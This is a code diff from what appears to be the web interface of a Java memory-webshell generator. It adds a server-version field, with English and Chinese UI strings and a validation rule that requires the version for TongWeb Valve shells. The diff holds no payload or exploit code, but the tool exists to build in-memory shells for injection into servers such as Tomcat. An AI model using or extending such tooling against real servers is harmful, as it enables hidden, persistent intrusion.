"mainConfig.shellTool": "Shell Tool",
@@ -112,6 +113,7 @@
"tips.try-to-use-shell": "Try to use the memory shell",
"tips.waitingForGeneration": "// Waiting for generation...",
"tips.customShellClass": "Custom shell class is required, base64 or classfile",
"tips.serverVersion": "serverVersion is required for TongWeb Valve",
"version.updateAvailable": "Update Available",
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
"generator": "Generator",
+2
View File
@@ -22,6 +22,7 @@
"mainConfig.injectorClassName": "注入器类名",
"mainConfig.jre": "目标 JRE 版本",
"mainConfig.server": "目标服务",
"mainConfig.serverVersion": "目标服务版本",
"mainConfig.shellClassName": "内存马类名",
"mainConfig.shellMountType": "内存马挂载类型",
"mainConfig.shellTool": "内存马功能",
@@ -111,6 +112,7 @@
"tips.waitingForGeneration": "// 等待填写参数生成中...",
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
"tips.specificUrlPattern": "必须指定 URL Pattern,例如 /hello",
"tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
"version.updateAvailable": "有可用升级",
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
"about": "关于",
+1
View File
@@ -55,6 +55,7 @@ export default function MemShellPage() {
resolver: useYupValidationResolver(formSchema, t),
defaultValues: {
server: urlParams.server ?? "Tomcat",
serverVersion: urlParams.serverVersion ?? "unknown",
targetJdkVersion: urlParams.targetJdkVersion ?? "50",
debug: urlParams.debug ?? false,
bypassJavaModule: urlParams.bypassJavaModule ?? false,
+8
View File
@@ -6,6 +6,7 @@ import { ShellToolType } from "./shell";
export const formSchema = yup.object({
server: yup.string().required().min(1),
serverVersion: yup.string().required().min(1),
targetJdkVersion: yup.string().optional(),
debug: yup.boolean().optional(),
bypassJavaModule: yup.boolean().optional(),
@@ -59,6 +60,7 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
const urlPattern: keyof FormSchema = "urlPattern";
const shellClassBase64: keyof FormSchema = "shellClassBase64";
const serverVersion: keyof FormSchema = "serverVersion";
const errors = {} as any;
if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) {
@@ -73,6 +75,12 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
message: t("tips.customShellClass"),
};
}
if (values.server === "TongWeb" && values.shellType === "Valve" && values.serverVersion === "unknown") {
errors[serverVersion] = {
type: "custom",
message: t("tips.serverVersion"),
};
}
return {
values,
+1
View File
@@ -1,5 +1,6 @@
export interface ShellConfig {
server: string;
serverVersion: string;
shellTool: string;
shellType: string;
targetJreVersion?: string;
+1
View File
@@ -4,6 +4,7 @@ import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
export function transformToPostData(formValue: FormSchema) {
const shellConfig: ShellConfig = {
server: formValue.server,
serverVersion: formValue.serverVersion,
shellTool: formValue.shellTool,
shellType: formValue.shellType,
debug: formValue.debug,